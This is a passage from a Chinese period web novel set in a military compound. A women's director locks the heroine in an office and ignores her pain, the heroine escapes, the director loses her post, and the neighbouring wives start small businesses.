“周嫂子,麻烦您跟我过去一趟,周主任都等您半天了。” “哎呀,我把这事儿也给忘了。” 周柒柒这才反应过来,她一拍脑门,笑着跟兵哥哥说道,“你等我一会儿,我烧点水,就跟你过去。” 新兵哭丧着脸,喉结上下滚动。 “嫂子,您就别拖了,昨天您没去,周主任都发了脾气了,我们保卫科廖科长罚我站了大半宿。” 这新兵蛋子看着也就十七岁,说起罚站,小腿肚子这会儿还有点颤抖。 “今天早上等了一会儿,您还是没去,周主任给我下了死命令了,让我十分钟内把你带回去,不然周主任生气了...我可能就要挨罚了。” 周柒柒看他这副样子,心里有点不落忍。 她回去烧水至少要十几二十分钟了,想着周淑华也没啥大事,顶多把她叫过去,“教育”几句,至多半个小时就回来了,便是说道。 “行,那我先跟你过去一趟吧。” 虽然妇女主任不是部队编制内的岗位,但军区也在后勤处的存东西的小楼给安排了一间单独的办公室,不过就是位置比较偏,在最角落里。 推开门,周淑华正端坐在办公桌后,手里拿着钢笔,听见动静连眼皮都没抬,下巴一扬:“进来,坐下。” 紧接着“啪”得把文件甩在桌上。 周柒柒低头一看——《总政治部关于军属区管理教育的暂行规定》。 还没等她细看,周淑华就开口了。 “这个你还没看过吧?根据规定,凡是来到咱们军属区的家属,都要统一组织学习,你来得突然,没赶上上一批,就单独学习吧。” 周柒柒一看这文件,就知道周淑华这是没事儿找事儿,还找了个冠冕堂皇的理由,但周柒柒知道避不过,索性低头仔仔细细看了一遍。 这规定有十几页,大致看完之后,周淑华扶了扶老花镜,镜片后的目光像锥子一样扎向周柒柒。 “有什么感悟没有?知道错误没有?” 周柒柒感觉有点莫名其妙。 “什么错误?周主任,里面的规定我都没有违反啊。” 周淑华推了推老花镜。 “你光看规定了,没看见里面还提倡讲友爱团结呢,你团结了吗?友爱了吗?” 周淑华猛地拍桌,桌上的搪瓷缸子都跟着晃悠,说着便是一一数落了起来。 “你不仅不团结友爱,你还喧哗闹事!” “自打你进了军属区,三天两头跟人吵架,有好几个军嫂都反应和你产生矛盾,说你找她们麻烦,你现在就是咱们军属区的刺头儿精!” 周柒柒“啪”地把规定拍回桌面,声音比她还高。 “好几个军嫂?您说的是邱春芳她们吧?那天看电影你也在,是她们先要去抓我的奸,可不是我找她们麻烦,她们还造谣您侄子雷鸣呢。” 听到周柒柒提到雷鸣,周淑华更生气了,瞪大了眼睛。 “那还有舟舟呢,以前多文静的一个孩子,被你带着之后,都会当街和小朋友打架了!” 第128章 不抄完不许走! 周柒柒咬住后槽牙,生生把翻到一半的白眼憋回去,扯着嘴角挤出笑模样。 “周主任,您看问题的角度可真是刁钻,廖小雷、廖小锋都把舟舟关小黑屋了,她只是推他们一下,我觉得都算轻的了,应该跟我一样,给她们一人一个大嘴巴子。” 周淑华气得钢笔都抖了,老花镜滑到鼻尖。 “哪有你这么教育孩子的?都才一年级,都是不懂事的小娃娃,说两句就行了,还打人,你这样不是教坏她舟舟是什么?” 她顿了顿,又列举了一项。 “那还有林医生呢?本来就是你和淮川对不起人家,人家好歹是卫生所的医生,好心去看你,你还给人家气受?有你这样的吗?” 周柒柒这下全明白了,她猛地站直身子,指尖掐着掌心才稳住声调。 “怪不得您今儿找我过来了,合着是林瑶去您这儿嚼舌根了?您知道事情真相吗,听她一面之词就就觉得我不对?您这妇女主任,就是这么维护军属区妇女权益的?” 她算是回过味儿来了,这周主任就是看她不顺眼,无论什么事儿,只要和她扯上关系,周主任就觉得是她的错,已经成本能反应了。 她最后一句话讽刺意味十足。 周淑华本来每次看到她,就会觉得心里不舒服,这会儿更是心口难受得很。 “你你你...你气死我了!我给你上课,你还反过来质疑上我了!你在军属区没闹够,还要在我这儿喧哗闹事是吧?” 对付周主任这种不会撒泼的,柒柒有一万种方式可以怼回去。 但对方毕竟岁数不小了,比她父母都还大了好几岁,这会儿脸色潮红,气都喘不匀了,她还是收了口,只站起来淡淡说了一句。 “我没这个意思,条例我已经给学习完了,没什么事儿的话,我就先走了。” 说着起身就要走。 “等等!” 周淑华捂着胸口,厉声喊了一句,周柒柒还以为她是犯了什么病,要她帮忙给端水什么的,站住没动。 却见周淑华忽然转了身,一个小跑就跑到了办公室门口,二话不说就把门拉上了,还用钥匙给锁上了。 这小办公室原先是隔壁档案室的文员办公用地,门是铁制的防盗门,上头有一个单独的小铁窗。 周淑华把门给锁上了,又掀开上头的小铁窗,只露出只精光四射的眼睛。 “你太也不服管教了!今天必须给你一个教训!办公桌上有纸,有笔,你给我把规定整整齐齐抄三遍!深刻领会一下条例精神!我一个小时之后来检查,不抄完不许走!” 她语气严厉,还有一点得逞之后的小得意,说完之后就“啪”的一声把小口给关上了,钥匙串的声响渐渐消失在走廊尽头。 “周主任,你...!” 周柒柒愣在原地,她实在是没想到,周淑华这么大年纪的人了,居然还会搞这一出。 她没防备,居然还真被她给关在办公室了。 敲了几下门,又喊了几声,一点儿动静都没有。 刚才一路过来她就注意到了,这栋小楼本来就是后勤处存放东西用的,隔壁是档案室,楼下的几间是被服间,除了周淑华,平时根本就没人。 离得最近的是对面后勤处的办公楼,可是隔着老远,中间又是一片树林,操场上练兵的口号声一浪高过一浪,喊破喉咙也没人听得见。 与其拼命地喊还喊不来人,还不如就在这儿待一会儿。 反正周淑华待会儿肯定要过来的。 那什么条例她都看过了,她一个妇女主任,可没有关她禁闭的权利。 至于罚抄,她肯定也是不会抄的。 周淑华这个办公室布置得还挺整洁,墙上挂了不少锦旗,柜子里还放着各类应急用的东西,办公室虽小,也放了个小沙发,上头罩着自己钩的沙发垫和靠背。 周柒柒试了一下,蜷着脚刚好够睡,垫子也挺舒服的。 她有点累了,闭上眼睛迷迷糊糊,困意刚涌上来,小腹突然一阵绞痛,冷汗瞬间浸透后背。 糟了,止痛药的药效过了! 没了止痛药的抑制,她立刻感觉自己的下体强烈开始收缩,痉挛。 趁着还有力气,她赶紧扶着墙挪到门边,蹭着铁栏杆打开门上的小口子,拼命拍了拍门。 “周主任,周主任!” 周淑华没走远,就在隔壁门口的围栏不远处,搬了个凳子坐在那看文件呢,听着这动静就过去了。 周柒柒看到她,赶紧开口。 “周主任,我肚子疼得厉害,要回家吃药,你快过来把门打开~!” 周淑华看她面色是有点发白,正准备去开门呢,但是脑子里忽然又想起了林瑶跟她说的那些话,走到半路又给停下来了,皱着眉头说道。 “你不是就是来事儿了嘛?至于那么厉害吗?我可不是沈淮川那么好糊弄的,你别在我面前装可怜,我办公桌抽屉里有红糖,墙角保温壶里有温水,你要是不舒服就喝点?喝完赶紧抄,抄完认识到错误了,一个小时后,我就给你开门。” 周柒柒这会儿四肢都有点酸痛了,腿也发软,勉强靠在门上才能站稳,赶紧和周主任说。 “红糖不管事,周主任,你...” 但话说到一半,周淑华就扭头走了,就留下一串皮鞋啪嗒声。 任凭周柒柒再怎么叫,她也没再理过,估计真的得到一个小时后才会过来开门。 这会儿,眼前已经出了好多虚汗,她眼前阵阵发黑,双腿一软顺着门板滑坐在地。 她可不是个爱吃苦的,不可能在这儿硬生生疼一个小时。 这办公室也没电话,唯一能和外界沟通的除了门,就只有门对面的窗户了。 可玻璃外头也焊了一层铁栏杆,外头没人,喊了几声也没任何反应。 周柒柒一咬牙,用沙发垫包住自己,然后抄起柜子里的锤子,用尽了全身的力气,朝着玻璃砸了过去,只听—— 哗啦!噼啪! 对面的后勤林处长正和雷政委打电话说公事呢,冷不丁听到这尖锐的声音,吓了一大跳,赶紧问道。 “什么声音?” 他对面的兵哥哥耳朵好,眼睛也尖,一眼就看到对面二楼的玻璃碴子直往下掉,赶紧喊道。 “对面!周主任办公室!” 林处长把听筒撂在一边,赶紧起身。 “走!赶紧过去看看!” 第129章 她自己能解决 砸玻璃那么大的动静,隔着一片树林的林处长都听到了,楼里的周淑华自然也听见了。 她本来正勾毛衣呢,冷不丁被这声响惊得一哆嗦,手里的钩针“噗”地扎进指腹,血珠子瞬间涌了出来。 但是她也顾不上擦,赶紧把毛衣甩到一边,拿着钥匙就冲了过去。 “周柒柒,你你你...是不是有毛病啊你?你干嘛砸玻璃啊?” 闹出这么大动静,周淑华也有点心慌,钥匙在锁孔边磕磕碰碰,“当啷”一声掉在地上,半天都没把门打开。 正乱着,林处长带着俩兵跑来了,瞅见门口站着的周淑华好好的,抬手拍了拍胸口。 “周主任,我还以为你出事了呢?没事就好,没事就好...” 周淑华脸色都白了,捂着胸口,哆哆嗦嗦地把手里的钥匙递了过去。 “快别说了,赶紧帮忙把门打开。” 林处长挑眉,“真有人锁里头了?” 他三两下捅开铁门,就见周柒柒身上裹着沙发垫子,斜靠在窗台下,手里的锤子“哐当”掉在碎玻璃上。 “周柒柒,你咋被锁这儿了?这是咋了?” 林处长两三步走了过去,才发现她面色发白,额头上全是冷汗,捂着肚子蜷缩成一团,眼皮微抬,看起来随时要晕过去的样子。 他赶紧朝身后喊,“小宋,赶紧把人抱起来,送卫生所!” 周柒柒眼前发黑,费了半天劲儿才看清楚来人,有气无力地摆了摆手。 “林处长,不用去卫生所,送我回家就成,我家里有...有药。” 林处长看她说话都没劲儿,眉头紧皱。 “那哪儿行啊,你都这样了?不能瞎吃药!小宋,赶紧!” 小宋应了声“哎”,伸手刚要抱人,手腕突然被人攥住了。 那手劲跟铁钳似的,只听一个声音沉声道:“我来。” 周柒柒听见这声音,眼睛唰地亮了,抬头望向来人。 “淮川,你来啦……” 短短几个字,说得她鼻尖直发酸。 也怪了,刚才被周淑华锁在屋里,肚子疼得冒冷汗,甚至抄起锤子砸玻璃的时候,她都没觉得委屈,早就习惯了自个儿扛事儿。 可这会儿看见沈淮川,那股子委屈突然就涌上来了,眼眶子不受控制地发热。 这是她两辈子都没体会过的,有家人来为她撑腰的滋味。 沈淮川瞧着她眼尾的潮气,心跟被针扎似的,“噗通”一声半跪在她面前。 伸手将她鬓角被冷汗濡湿的碎发轻轻别到耳后,“对不起,我回来晚了。” 周柒柒见他膝盖直接跪到碎玻璃上,急得想提醒,“小心玻璃,你别……” 沈淮川指尖轻轻按住她的嘴唇,“嘘,别说话,先带你回家吃药。” 说着小心翼翼把她打横抱起,出门时冲林处长颔首示意,自始至终没看周淑华一眼。 刚到门口就撞见雷政委匆匆赶来。 林处长刚才打电话汇报工作时,他听见周淑华办公室出事了,撂了电话就往这儿赶。 雷政委还没闹明白咋回事,“淮川,这是出啥事儿了?” 沈淮川脸色铁青,眼神冷得像腊月里的寒冰,只甩下一句。 “这事儿,您问周主任最合适。” 说罢抱着周柒柒大步走了。 雷政委望着他的背影,又瞅了瞅屋里破了大洞的窗户,脸色瞬间沉下来,看向周淑华。 “到底咋回事?” “我...” 周淑华手里还提着个医药箱,刚才围着打转的劲儿没了,被这么一盯,嘴唇哆嗦着,半天没说出一句囫囵话。 而另外一边,沈淮川很快抱着周柒柒上了车。 回到家,让她躺着,又让秦磊去弄点水过来。 周柒柒刚躺好了,秦磊就拎着暖瓶回来了,“这么快?” 秦磊抹了把汗,“烧水太慢了,我直接去隔壁朱嫂子家拿来的。” 朱莹莹今天去出版社了,也不在家,但是她家的钥匙留了一把在周柒柒家里。 沈淮川倒了杯热水,用嘴轻轻吹了吹,“先把药吃了。” 喝了热水吃了药,周柒柒感觉好受些,忙问。 “你咋突然来了?咋知道我在周主任那儿?” 沈淮川替她掖了掖被角。 “向阳看见的,说瞅见你被保卫科的小兵带走了。” 之前廖家兄弟欺负过沈渡舟,这小子记仇着呢,瞧见周柒柒跟保卫科的人走了,就留了个心眼,在旁边玩铁环没走,等看见大吉普回来,撒腿就跑去报信了。 周柒柒忍不住笑,“这小子,还挺机灵。” 秦磊在一旁猛点头,“可不是嘛!要不是他跟团长说,团长及时赶到,嫂子你指不定得遭多少罪呢!” 沈淮川却皱起眉。 “话不能这么说,我到的时候,你嫂子已经砸开玻璃了,她自己能解决。” 说这话时,他眼底漾着毫不掩饰的欣赏。 活了二十五年,他还没见过这么泼辣的姑娘,跟团火似的,啥事儿都能自己扛。可转念又觉得愧疚,他还是来晚了,让她白受了罪。 沈淮川低头自责,秦磊却是瞪大了眼睛。 “什么?那玻璃是嫂子打碎的?嫂子手没事儿吧?” 周柒柒摇了摇头,她也注意到了沈淮川的表情,还以为她是在担心自己的手,赶紧伸开手掌左右晃了晃。 “没事没事,就是劲儿使猛了点,手有点麻,真没受伤,一点儿也不疼。” 其实在车上沈淮川就检查过了,这会儿他握住她的手塞回被窝,声音放得又轻又柔。 “知道了,吃了药睡会儿,睡着了就不疼了。” “好。” 折腾了大半天,周柒柒确实累了,点点头闭上眼,没一会儿就睡着了。 沈淮川瞧着她呼吸匀了,脸色也缓过来些,才轻手轻脚退出屋,跟秦磊说。 “你在家盯着,我出去一趟,很快回来。” “团长,你这是...” 秦磊刚想问去哪儿,一抬头看见沈淮川的脸色,冷得能掉下冰碴子,这表情自从嫂子进门,他就再也没见过了,吓得赶紧把话咽了回去。 第130章 撤职 周柒柒睡得迷迷糊糊的,也不知过了多久,正睡得沉时,鼻尖忽然钻进股子香味儿。 她吧嗒吧嗒嘴,迷瞪着眼醒过来,抬起手腕一看,表盘上的针都戳到十二点了。 合着不是自然醒,是饿醒的! 房门口儿,秦磊正搬着小马扎坐着呢,听见门响腾地站起来。 “嫂子您醒啦?我这就去叫团长!” 周柒柒摆摆手,嗓子眼儿还有点干,“不用折腾,我自个儿找他去。” 说着吸了吸鼻子,“啥味儿啊这么香?勾得人嗓子眼儿都痒了。” 秦磊咽了口唾沫。 “团长在院儿里烤肉串呢,还弄了叫花鸡!说是嫂子这几天食堂吃腻了,都没吃多少,给换换口味。” 周柒柒一听“叫花鸡”仨字儿,困意顿时散了,拽着秦磊就往后院走。 “走走走,瞧瞧去!” 路上秦磊跟倒豆子似的念叨。 “团长烤的叫花鸡那叫一个香!以前进山训练,逮着野味儿都让团长露一手。今儿这鸡是从后勤处薅得走的鸡,也不知味儿差不差......” 越往院儿里走,香味儿越浓,拐个弯就见沈淮川蹲在烤架前,铁签子上的肉串滋滋冒油,油星子溅在炭上腾起股子香雾。 “醒了?” 沈淮川头也没抬,抄起根树枝扒拉地上的泥团。 “正好,叫花鸡该出锅了。” 那泥团烫得冒热气,他往地上一磕,泥壳“咔嚓""碎开,里头裹着的野菜叶儿滋啦冒蒸汽,鸡肉混着泥土和草叶的香猛地窜出来。 周柒柒自打穿到这儿,还没正儿八经吃过烧烤呢,这会儿馋得直搓手,催着秦磊赶紧搬桌子板凳。 虽然不是在野外,但小院儿里花圃围着墙根,菜地里的青菜绿得发亮,倒也有几分自在味儿。 周柒柒刚坐稳当,沈淮川就撕下一只油汪汪的鸡腿,吹了吹热气递过来。 鸡肉外焦里嫩,咬一口还带着股子青草香,周柒柒吃得直点头。 “真不赖!看不出来你这不会炒菜的,烤东西倒有两下子。” 沈淮川又给秦磊递了只鸡腿,自己抓起鸡胸肉啃,嚼着肉含糊道。 “早年在边境打仗,补给跟不上,常去林子里给兄弟们摸野味儿,练出来的。” 他说得轻描淡写,周柒柒却听得心头发紧,盯着他问。 “怪不得之前那些来家里的兵哥哥,不管多大年纪,一个个都对你服服帖帖的...等等,你说,你参加过边境作战?” 她这才发现,自己对沈淮川的了解如此有限。 明明是一起搭伙过日子,但不知道为什么,她强烈地想知道他的点点滴滴,吃完了鸡腿,便是提议道。 “你再跟我说说,你以前的事儿呗。” “没什么好说的,都过去了。” 沈淮川说得淡然,他一向话不多,倒是秦石头,迫不急地举手。 “嫂子,我听他们说过,团长不肯说,我来说!” 这小子一张嘴跟开了闸似的,从训练讲到打仗,周柒柒听得眼圈儿红了好几回,要不是沈淮川说腰伤的歇会儿,能唠到后半夜。 回了屋躺在床上休息,周柒柒还气鼓鼓的,伸手就去掀沈淮川的衣服。 “怪不得你不肯说!腰上这疤是让弹片划的?当时都见骨头了?我瞅瞅现在咋样了!” 她手指触到沈淮川腰侧的疤痕,那疤沿着人鱼线往下蜿蜒,摸得沈淮川身子一僵,赶紧岔开话题。 “早上那事儿处理完了,想不想知道结果?” 周柒柒自己也感觉手指触碰到的肌肤越来越热,赶紧收回了手,十分配合地点了点头。 “嗯,咋处理的啊?不会要我们赔玻璃吧?” 那么大一块玻璃,赔偿的话不知道要多少钱,估计不便宜,想想钱还没进自己口袋就要飞走,她有点心疼。 沈淮川摇了摇头。 “林处长派人换了,不用咱们管。” 钱长着翅膀又飞回来她的头顶了,周柒柒稍微安心了点,勉强点了点头。 “那就行,那还有周主任呢?你能不能跟她说说,把我划出她的分管区域,我不用她保障我的权益。” 周淑华对她偏见太深了,完全沟通不了,可到底是雷政委的妻子,又是沈淮川的师母,她也不想正儿八经撕破脸,闹得太难看。 说到这个,沈淮川面色有点沉,伸出胳膊枕在了脑袋下,语气也有点严肃。 “她现在不是妇女主任了,以后找不了你麻烦。” “不让她当妇女主任,这不等于给她撤职了吗?” 周柒柒有些吃惊,她本意也就是想让沈淮川去说一说,或者给个通报批评什么的。 没想着让周淑华撤职,在这个年代,妇女主任这种职位也是在妇联挂了号的,算是铁饭碗的一种了。 而这个年代的铁饭碗,除非真的犯了什么原则性的错误,否则很难撤职的,撤职算是很严重的处罚了,被人知道了都要笑话的。 她不由坐了起来,眉宇间有点担忧,“是你跟雷政委提的?” 沈淮川摇了摇头。 “不是,师母的问题,我还没提,雷政委自己就这么决定了。” 说着便是伸出枕着的那只手拉她。 “你觉得不满意的话,我再去找妇联。” 周柒柒赶忙摆手。 “没有,我没有不满意,反正我也没吃什么亏,只要她以后不折腾我就行。” 今天中午秦磊说了不少沈淮川之前的事,雷政委以前就是沈淮川的领导,帮了沈淮川不少,她不想因为自己,让沈淮川和雷政委一家闹出什么不愉快。 说完周主任的事,沈淮川又说道。 “还有,我跟廖科长要了个人。” “谁?” 沈淮川挑了挑眉。 “就是来叫你的那个新兵蛋子,我看他那么喜欢执行命令,准备把他安排进我们团的尖兵营。” 周柒柒咬了咬唇,“这会不会不太好啊?他也只是个传话的。” 沈淮川面色一冷。 “有什么不好的?那可是军区最好的营,有多少人抢着想进还进不去呢,我看他身体素质还可以才安排他过去的,他要是表现得好,以后前途不愁,如果不好,没一个月就会被刷下去,也吃不了多少苦。” 听他这么说,周柒柒就放心了,与其说这是处罚,不如说这是一个机会,就看那个小兄弟能不能把握住了。 事儿都掰扯清楚了,周柒柒心里头踏实,干脆往沈淮川怀里一缩,脑袋枕着他胳膊歇着。 沈淮川身上一僵,动都不敢动一下。 而此时,另外一边,雷政委的家里。 周淑华也是愣在了原地一动不动,看着对面的雷政委,一脸难以置信,喃喃的重复道。 “撤职?就为这点儿事儿,你要撤我的职?” 第131章 不准再插手! 周淑华脖子一梗,眼角吊得老高,明显很不服气。 “什么叫这么点事儿?” 雷政委坐在旧木桌后头,本就发着烫的太阳穴突突直跳,“啪”地一拍桌面。 “部队里还知道带俘虏去医务室,你也就是个妇女主任,竟然把带病的军嫂关在办公室罚抄,谁给你的这个权力?” 两人过了二十多年日子,雷政委头回朝她发这么大火。 周淑华眼圈儿一红,手指绞着衬衫边角,抽抽搭搭地辩解。 “哪有你说的那么严重?我办公室里有红糖有热水,还有沙发,她不想抄躺那儿休息都可以,再说了,我就只是想给她一个教训而已,我也不知道她会痛得那么厉害啊!” “不知道?” 雷政委气的胡子都翘起来,眼睛瞪得像铜铃。 “淮川问过了,人家周柒柒明明和你说了要回家吃药,你理了吗?你开门了吗?” “我...” 周淑华嗫嚅了一下,当时她依着自己的本心,是想去开门的,但是之前林瑶特意跟她说,周柒柒惯会装可怜博同情,根本就没人会痛经得那么厉害。 所以她当时根本就不信,自然也不可能会去开门了。 现在回想起周柒柒当时额头上豆大的冷汗珠子,也知道,对方是真难受,不是装的。 却还是梗着脖子嚷嚷。 “就算是...就算是我做错了,那她也没受什么苦啊,大不了我提着东西去慰问她好了,哪有直接给我撤职的道理?是她跟你说的?” 她眼睛滴溜溜地转着,里面藏着怨恨,“还是淮川那小子替她说的?” 雷政委抓起桌上的搪瓷缸子重重磕在桌面,水都溅到了桌角。 “你别瞎猜!以小人之心度君子之腹!她们俩谁都没说!淮川还没开口,我就定了这事!" 周淑华愣住了,手指抠着桌沿儿问,“为啥呀?” 雷政委揉着眉心,声音里全是疲惫。 “这事儿闹得动静不小,除了后勤的林处长,作战处也有人过去问,甚至还差点都惊动了老首长。” “淮川那小子的脾气你也知道,最讲原则,却也最护犊子,肯定是打算如实往上汇报的,一旦报上去了,少不了全军区通报批评,妇联那边也要出文件,到时候闹得人尽皆知,全都要笑话你,就算不撤你妇女主任的职,你觉得你还有脸继续当下去?” 都几十年的老夫老妻了,周淑华的脾气,雷政委还是知道的,知识分子,心性高,最受不了的就是这种情况了。 他叹了口气,望着窗外掉光了叶子的老槐树。 “与其这样,不如我主动说给你撤职,你交封辞职信过去,好歹留个脸面。” 周淑华却有点不讲理了,还在找角度为自己辩解。 “事情闹大又不是我的错!我就罚她抄材料而已,玻璃可是她砸的!” “够了!” 雷政委猛地站起来,军裤缝儿都绷得笔直。 “一遇上周柒柒的事儿,你就跟中了邪似的!亏你以前还是大学教授呢,这点道理想不明白?” 他走到周淑华面前,语气硬邦邦的。 “撤你的职,就是怕你再去折腾人家小姑娘!” “听淮川说,小姑娘很小就没了亲人,寄人篱下长大的,过了十几年苦日子了,机缘巧合嫁给淮川,人家淮川愿意宠着,是人家夫妻俩的事儿,和军嫂们有矛盾,也不可能光是她一个人的问题,你怎么能把什么错儿都往她头上推呢?” 他苦口婆心的,周淑华咬着嘴唇不吭声,手指把衣角都搓得起了毛。 雷政委最后拍板,“总之,以后周柒柒的事儿,你都不准再插手!” “你办公室的东西,我已经让人收拾了,待会儿给你送回来,你就在家待着,看看书,静静心。” 说着他便是走了,一直到晚上吃饭都没回来。 周淑华望着老伴儿挺直的背影,心里空落落的。 这两年她忙着开会、写材料、调解军属矛盾,办公室墙上挂满了锦旗,哪想就因为罚了周柒柒,把差事弄没了? 她坐在藤椅上唉声叹气,晚饭都没扒拉两口。 可军属区卫生所里,林瑶却哼着小曲儿收拾药柜。 想到周柒柒就要在周主任跟前吃瘪了她嘴角忍不住往上翘,连药瓶都摆得格外整齐。 有个军嫂过来找她看病,她也没有向之前那样,假装不在。 而是好声好气地说,“卫生所就我一个人,还没收拾利落呢,暂时不看病,过几天再来。” 军嫂昨天就来过了,今天感觉头疼得厉害,发了牢骚。 “有啥好收拾的啊,之前曲军医不是收拾的整整齐齐的,你收拾啥呢?再不给我看病,当心我去后勤告你去!” 林瑶把药瓶往药架上一放,慢悠悠地说。 “你告去呗,我怕你什么?前两天当着周主任的面儿,林处长说了,我刚调来,允许我多休息几天,熟悉熟悉,再开始工作。” “我就说呢,原来是仗着周主任给你撑腰?” 这军嫂也是个泼辣性子,翻着白眼冷笑了一声。 “你还不知道呢吧?周主任已经辞职不干了。” “啥?” 林瑶吃了一惊,手里的药瓶“啪嗒”掉在地上也顾不得捡起来,一把抓住那军嫂的胳膊,焦急地问道。 “好好的咋就不干了?” 还不知道收没收拾周柒柒呢。 军嫂一把甩开她,“不知道!就算知道也不告诉你!” 林瑶哪还顾得上收拾,拔腿就往家属院跑。 周淑华家大门紧锁,她又颠儿颠儿跑到邱春芳家。 邱春芳正在洗碗呢,压低声音说:“真的!今儿好几个人看见搬东西,锦旗都拿走了!” “因为啥啊?” 两人在客厅说话,赵毅就在旁边餐桌上帮一萌检查默写的课文,邱春芳不想让他听见,扯着人去了后院菜地边上。 “准跟周柒柒有关系!我早上就隔着门缝听见了,好像是周主任叫她过去呢!后来人是沈团长给抱回来的,瞅着生了好大气,没多久,就开始搬东西了,估摸着是周柒柒给周主任气得不清!” 这个林瑶倒是不怎么在意,她更关心的是。 “那周柒柒咋样?挨训没有?” 邱春芳皱了皱眉。 “哟,这个我倒是不知道,光顾着瞧那边的热闹了,不过瞅着人是沈团长抱回来的,估摸着也没少受罪!” 说着便是捂着嘴,不怀好意地笑了起来。 “那就行。” 林瑶揪着的心也终于放下了,嘴角刚要勾起来。 下一秒,却听隔壁的后院传来一阵银铃般的笑声,紧接着就是一个女人说话。 “真的?” 第132章 嫂子们的生意 这声音跟百灵鸟似的,又机灵又精神,婉转清脆,整个大院没第二份儿。 可不就是周柒柒那丫头嘛! 她笑这么欢实,能遭啥罪啊? 林瑶这火气“腾”地就上来了,眼角余光瞥见地上有一小堆黑黢黢的土块,伸手就从里头扒拉出一块最大的,扬手就要往那边丢。 哪成想手上劲儿使猛了,土块还没离手呢,“啪”地就在掌心里碎成了渣,黑黢黢的碎末稀稀拉拉掉了一地。 而且这土块看着外头干巴巴的,里头却黏腻腻的,跟稀泥似的糊在手指头上,还窜出一股冲鼻子的臭味儿。 林瑶下意识吸了口气,胃里立马翻江倒海,恶心得直犯干呕,扭头狠狠瞪向邱春芳。 “这是个啥玩意儿啊?” 邱春芳这才反应过来,手忙脚乱地挠着后脑勺,讪讪地笑。 “我捡来的牛粪,想着晒干了给菜地堆肥呢,还没干透呢……” “牛……牛粪???” 林瑶尖叫一嗓子,刚才还只是干呕,这会儿“哇”地一声真吐出来了。 “隔壁这是啥动静啊?” 一墙之隔的周柒柒家后院,王大嫂她们正在周柒柒家新搭好的凉亭里喝茶唠嗑呢,听到隔壁吵吵嚷嚷的,皱眉问道。 周柒柒无奈的耸了耸肩。 “就那样呗,她家孩子多,成天吵吵闹闹的,别管她了。翠香姐,赵大姐,你们接着说!” 说着就把面前瓷盘里切好的苹果往前推了推,“边吃边说。” 邓翠香拿起一块苹果,顺手把自己带回来的烤红薯往周柒柒那边推。 “刚才说到哪儿了?这一打岔给忘干净了!” “说到你去面摊了。”周柒柒提醒道。 “哎对对对!” 邓翠香眼睛亮晶晶的,手舞足蹈地说。 “我照你说的,找了好些小玻璃罐,把辣椒酱啥的都装罐里,先给小面摊老板送了几瓶试吃。嘿,没想到真有客人问,帮我卖掉七、八罐呢!” 除了面摊,她还听周柒柒的话,跑去G市的轧钢厂、铁路局、机械厂这些大厂子门口摆摊。 她揣着自己昨晚蒸的一大布袋馒头,见人就招呼着“就着酱菜尝尝”。 厂区里住宿舍的单身汉多,经她大嗓门一吆喝,不少人都凑过来尝鲜。 邓翠香的手艺是山城老家祖辈传下来的,尝过的人十有五六都掏钱买了。 “我按你说的,每个厂区就带二十瓶去卖,跑了好几个厂子都不够卖,好多人追着问我明天还来不来!我这生意啊,总算是摸着门道了!” 说完,邓翠香“咔嚓”咬了一大口苹果,满脸的褶子都笑成了花。 旁边的王大嫂戳了戳她胳膊,笑得眼睛眯成缝。 “翠香,看你这美劲儿,怕是赚了不少钱吧?” 邓翠香摆摆手,有点不好意思。 “嗨,一天下来算算账,真没赚多少。送人的、试吃的,加上买馒头的本钱,七扣八扣也就落下三、四块钱。” 周柒柒一边剥着红薯皮,一边安慰道。 “这些只是前期的投入,后面销路打开了,赚的钱说不定比姜营长的津贴还多呢!” 她很看好邓翠香的手艺,她炒的辣椒酱,不比后世的“老干妈”差,人又踏实肯干,在这个遍地是机会的年代,结果一定不会差的。 邓翠香笑得真诚。 “我可没有那么宏大的愿望,就希望闲暇时间赚点钱,供向海读书,你们是不知道,向海那数学班,贵的吓人...” 说着她拍了拍旁边有点拘谨的赵大梅。 “行了,别说我的事儿了,大梅姐,快,该你说了。” 她们刚从外头回来,脚没沾地就聚到周柒柒家。 邓翠香兴奋的嘴巴没停过,赵大梅到现在还没说上一句话。 王大嫂心里着急,又不好催,听邓翠香提起赵大梅,赶紧跟着问。 “是啊是啊,快说说,卖得咋样?剩下多少盆?” 赵大梅有点拘谨,小声说了一句,“卖……卖完了。” 王大嫂没听清,又追问,“十五盆,全都卖了?” 原本她们合计先卖十盆,怕赵大梅驴车上放不下。结果今早赵大梅过来时,车上多了个自制的木制花架子,两人一商量就多搬了五盆。 本没抱啥指望,没想到居然全卖光了。 “嗯。” 赵大梅点点头,小心翼翼地从上衣口袋里掏出个蓝布手绢,摊开放在石桌上。 手绢里包着一毛、两毛、五毛、一块的毛票,花花绿绿塞的鼓鼓囊囊。 “这是卖的钱,还有我记的单子,一共是十六块整。” 王大嫂眼睛“唰”地亮了,伸手就要去拿,手伸到一半又顿住,转而把钱推到周柒柒面前。 “柒柒,你帮我们分分。” 周柒柒弯着眼笑,歪头心算片刻。 “这有啥难的,就按你们之前说的分呗。王大嫂你拿六成,算下来是九块六。” 她从毛票里挑出大面额的,数够了递给王大嫂,又把剩下的钱在众人面前点了点。 “没错,剩下六块四,是赵大姐的辛苦钱。” 王大嫂捏着毛票,手指来来回回摩挲着,满是皱纹的眼角泛起了泪花。 “太好了!没想到我侍弄的那些花花草草真能换钱!活了大半辈子,头一回自己挣钱呢!多亏了柒柒你给指路子,你说,嫂子我该咋谢你啊?” 周柒柒赶紧摆手,笑的眼睛弯成了月牙儿。 “可别这么说,我就动了动嘴皮子,没啥功劳。花卖得好全靠赵大姐辛苦,她家里不容易,以后你们少不了搭把手,互相帮衬着点就成。” 这生意是能长久做下去的。 王大嫂满院子的花草,隔个一周或者半月拿出去卖一次不成问题。 这对王大嫂和赵大姐来说都是好事。 又说了一会儿话,王大嫂和邓翠香就都走了,留下赵大梅一个人。 刚才人多,赵大梅不好意思说,这会儿倒是开了口。 “我这能卖出去,也多亏了你教我的那些门道。” 她卖的是盆栽,周柒柒教给她的,是和邓翠香截然不同的卖法。 不能选择去面摊或者是轧钢厂,而是得去那些机关单位的家属院,电影院之类的地方。 她不怕辛苦,拉着驴车一个个家属院跑,真就把花都卖完了。 周柒柒看她眼眶有点发红,赶紧拍了拍她的肩膀。 “好了好了,说得好好的,哭啥?是遇上啥不好的顾客,骂你了?” 赵大梅摆了摆手,硬生生把自己的眼泪憋了回去。 “没有没有,被人骂几句算啥啊,我就是觉得,日子好像有盼头了,至少今年冬天,孩子们不会挨饿受冻了。” 送走了赵大梅,周柒柒心里也替嫂子们高兴,大家一个两个的,都有钱进口袋了,挺有奔头。 